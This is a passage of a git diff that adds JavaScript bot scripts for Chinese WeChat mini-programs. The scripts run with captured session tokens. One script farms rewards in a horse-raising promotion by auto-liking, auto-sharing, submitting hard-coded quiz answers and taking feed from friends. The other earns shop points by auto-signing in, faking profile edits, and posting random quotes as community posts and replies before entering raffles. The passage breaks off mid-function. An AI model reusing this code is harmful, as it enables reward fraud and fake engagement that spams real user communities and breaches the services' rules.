`https://zm.t7a.cn/api/subrank.php?safe=${zmnlxq}&id=${likeUserId}&type=1`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log('点赞成功!'); + } else { + console.log('点赞失败:', result.msg) + isCompleted = result?.msg?.includes('您今天的互动已到上限'); + } + + } catch (e) { + console.log(e) + } finally { + resolve(isCompleted); + } + }, timeout) + }) +} + +/** + * 小程序分享任务 + * + */ +function getshare (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/share.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + + } + + } catch (e) { + console.log('数据异常:', data); + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序战马分享任务 + * + */ +function checkslgift (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/checkslgift.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + + } + + } catch (e) { + console.log('数据异常:', data); + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序完善信息 + * + */ +function saveuserinfo (avatar, nickname, sex, birthday, tel, timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/saveuserinfo.php?safe=${zmnlxq}&avatar=${encodeURIComponent(avatar)}&nickname=${encodeURIComponent(nickname)}&uname=${encodeURIComponent(nickname)}&sex=${sex}&birthday=${birthday}&tel=${tel}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + + } + + } catch (e) { + console.log('数据异常:', data); + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 公众号口令只可完成一次 + * + */ +function gzhkl (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/gzhkl.php?safe=${zmnlxq}&kl=${encodeURIComponent('有能量 当燃战马!')}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 0) { + + console.log(result.msg) + + } else { + + console.log(result.msg) + + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + +/** + * 查询题库 + * + */ +async function gettiku (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getquesbackstatus.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + + console.log('刷新题目') + + await $.wait(2 * 1000); + await getques(); + + console.log('开始去答题' + '\n' + '因为是自定义答题,不排除黑号风险' + '\n' + '后期有能力修改题目获取方式'); + + await $.wait(2 * 1000); + await ques1(); + + await $.wait(2 * 1000); + await ques2(); + + await $.wait(2 * 1000); + await ques3(); + + } else { + console.log(result.msg) + } + + + + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 刷新题目 + * + */ +function getques (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getques.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + console.log(result.msg) + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + + +/** + * 答题1 + * + */ +function ques1 (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=126&val=C`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + +/** + * 答题2 + * + */ +function ques2 (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=138&val=C`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + +/** + * 答题3 + * + */ +function ques3 (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/subques.php?safe=${zmnlxq}&qid=119&val=A`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log(result.msg) + } else { + console.log(result.msg) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + +/** + * 领养马儿 + * + */ +function getmaer (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/starthorse.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + + console.log(result.msg) + + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 摸一摸 + * + */ +function getmoyimo (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/strokehorse.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + + console.log(result.msg) + + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 喂马 + * + */ +async function getweima (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/horseeat.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + + if (result.status != 0) { + await getweima(); + await $.wait(2 * 1000) + } else { + console.log(result.msg) + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + + +/** + * 偷饲料 + * + */ +function tousiliao (num2) { + let isCompleted = false; + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/subhorseplayer.php?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=1`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + isCompleted = result?.msg?.includes('已到上限'); + console.log(result.msg) + } catch (e) { + console.log(e) + } finally { + resolve(isCompleted); + } + },) + }) +} + +/** + * 送饲料 + * + */ +function songsiliao (num2) { + let isCompleted = false; + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/subhorseplayer.php?safe=${zmnlxq}&friendid=${totalAccountsfrinds[num2]?.id}&type=2`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + isCompleted = result?.msg?.includes('已到上限'); + console.log(result.msg) + } catch (e) { + console.log(e) + } finally { + resolve(isCompleted); + } + },) + }) +} + +/** +* 获取远程版本,鸟VPS不改post请求获取不了内容 +*/ +function getVersion (timeout = 3 * 1000) { + return new Promise((resolve) => { + let url = { + url: `http://www.holyxie.com/script/zmnlxq/zmnlxq.js`, + } + $.post(url, async (err, resp, data) => { + try { + VersionLatest = data.match(/"\d.+"/) + console.log(`最新版本号为:${VersionLatest}`); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }, timeout) + }) +} + + +//#region 固定代码 可以不管他 +// ============================================变量检查============================================ \\ +async function Envs () { + if (zmnlxq) { + if (zmnlxq.indexOf("@") != -1) { + zmnlxq.split("@").forEach((item) => { + zmnlxqArr.push(item); + }); + } else if (zmnlxq.indexOf("&") != -1) { + zmnlxq.split("&").forEach((item) => { + zmnlxqArr.push(item); + }); + } else { + zmnlxqArr.push(zmnlxq); + } + } else { + console.log(`\n 【${$.name}】:未填写变量 zmnlxq`) + return; + } + + return true; +} + +// ============================================发送消息============================================ \\ +async function SendMsg (message) { + if (!message) + return; + + if (Notify > 0) { + if ($.isNode()) { + var notify = require('../sendNotify'); + await notify.sendNotify($.name, message); + } else { + $.msg(message); + } + } else { + console.log(message); + } + +} +// prettier-ignore 固定代码 不用管他 +function Env (t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send (t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get (t) { return this.send.call(this.env, t) } post (t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode () { return "undefined" != typeof module && !!module.exports } isQuanX () { return "undefined" != typeof $task } isSurge () { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon () { return "undefined" != typeof $loon } toObj (t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr (t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson (t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson (t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript (t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript (t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata () { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata () { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get (t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set (t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata (t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata (t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval (t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval (t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv (t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get (t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post (t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time (t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg (e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log (...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr (t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait (t) { return new Promise(e => setTimeout(e, t)) } done (t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js b/脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js new file mode 100644 index 0000000..07ae168 --- /dev/null +++ b/脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js @@ -0,0 +1,426 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Repo: jdqlscript/toulu +// # Path: 七彩虹商城小程序.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 761e10f77b7a58ee38634d789e6bdbd7af6caa8e9c4643480d40aa2ca436a85b +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + + TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + + * cron "19 8,19 * * *" + * export COLORFUL='[{"id": "1", "token": "Authorization","refreshToken:"xxxX-Authorization"},{"id": "2", "token": "Authorization","refreshToken:"xxxX-Authorization"}]' + * export COLORFUL_RAFFLE='true' //开启抽奖 + */ +const $ = new Env('七彩虹商城') +const baseUrl = 'shop.skycolorful.com:45677' +const COLORFUL = ($.isNode() ? (process.env.COLORFUL ? JSON.parse(process.env.COLORFUL) : undefined) : $.getjson("COLORFUL")) || [], + COLORFUL_RAFFLE = ($.isNode() ? process.env.COLORFUL_RAFFLE : $.getjson("COLORFUL_RAFFLE")) === 'true' || false; +let token = '', refreshToken = '' +let notice = '' +!(async () => { + if (typeof $request != "undefined") { + await getCookie(); + } else { + await main(); + } +})().catch((e) => { + $.log(e) +}).finally(() => { + $.done({}); +}); + + +async function main() { + + for (const item of COLORFUL) { + id = item.id; + token = item.token; + refreshToken = item.refreshToken + let refreshLogin= await commonPost('/User/RefreshLoginTime',{"phone":""}) + if (refreshLogin.Code != 0) { + if (!item.body){ + console.log(`用户:${id}\ntoken已过期,请重新获取`); + await sendMsg(`用户:${id}\ntoken已过期,请重新获取`); + continue + } + let login= await commonPost('/User/DecryptPhoneNumber',JSON.parse(item.body)) + if (login.Code != 0) { + console.log(`用户:${id}\ntoken已过期,请重新获取`); + await sendMsg(`用户:${id}\ntoken已过期,请重新获取`); + continue + } + token = login.Data.Token; + refreshToken = login.Data.RefreshToken + await commonPost('/User/RefreshLoginTime',{"phone":""}) + } + + let userInfo = await commonGet('/User/GetUserInfo') + console.log(`用户:${id}开始任务`) + let taskPoint = await commonGet('/Sys/GetPointConfig') + if (taskPoint.Code === 401) { + await sendMsg(`用户:${id}\ntoken已过期,请重新获取`); + continue + } + for (const point of taskPoint.Data?.DataList) { + console.log(`${point.Name} ${point.Title} ${point.PerPoint}`) + if ((point.DayMaxPointTotal === point.DayGetPointTotal && point.LinkType==1)|| ( point.PerPoint === point.DayGetPointTotal && point.LinkType==2)) { + continue + } + switch (point.Name) { + case '社区签到': + let sign = await commonPost('/User/Sign') + console.log(`${sign.Code} ${sign.Message} ${sign.Data?.Point}`) + break; + case '会员信息完善': + await commonGet('/User/EditInfo') + let data = await commonPost('/User/DoEditInfo', { + "Birthday": getRandomBirthday(), + "Nickname": userInfo.Data.NickName, + "Sex": 1 + }) + console.log(`${data.Code} ${data.Message} `) + break; + case '购物有礼': + break; + case '社区内容发布': + let hitokotoData = await hitokoto(); + if (hitokotoData?.hitokoto) { + let body1 = { + "ModuleId": "09539c50-6de2-4a0c-adc8-535e488a419e", + "Phone": userInfo.Data.Mobile, + "Title": "签到", + "Content": hitokotoData.hitokoto, + "Pictures": [], + "Source": 30 + }; + console.log(body1) + let data = await commonPost('/Bbs/Posting', body1) + console.log(`${data.Code} ${data.Message} `) + await $.wait(Math.floor(Math.random() * 5000 + 10000)); + } + + break; + case '社区内容评论': + let PostingList = await commonGet('/Bbs/GetPostingList?page=1&size=20&moduleId=09539c50-6de2-4a0c-adc8-535e488a419e&phone=') + if (PostingList?.Data?.DataList) { + for (let i = 0; i < 3; i++) { + let hitokotoData2 = await hitokoto(); + if (hitokotoData2?.hitokoto) { + let body = { + "PostId": PostingList?.Data?.DataList[Math.floor(Math.random() * 20)].Id, + "ReplyId": "", + "ParentReplyId": "", + "Phone": userInfo.Data.Mobile, + "Content": hitokotoData2.hitokoto, + "Pictures": [] + }; + console.log(body) + let data3 = await commonPost('/Bbs/PostReply', body) + console.log(data3) + await $.wait(Math.floor(Math.random() * 5000 + 10000)); + } + } + } + break; + default : + console.log('未实现'); + break; + } + } + console.log(`抽奖 ${COLORFUL_RAFFLE}`) + if (COLORFUL_RAFFLE) { + let activityData = await commonGet('/Activity/GetPageList?Page=1&Limit=20') + for (const activity of activityData.Data.DataList) { + console.log(`活动:${activity.Name} ${activity.StatusDescription} ${activity.TypeDescription}`) + if (activity.Type == 1 && activity.Status == 1) { + let luckyDrawInfo = await 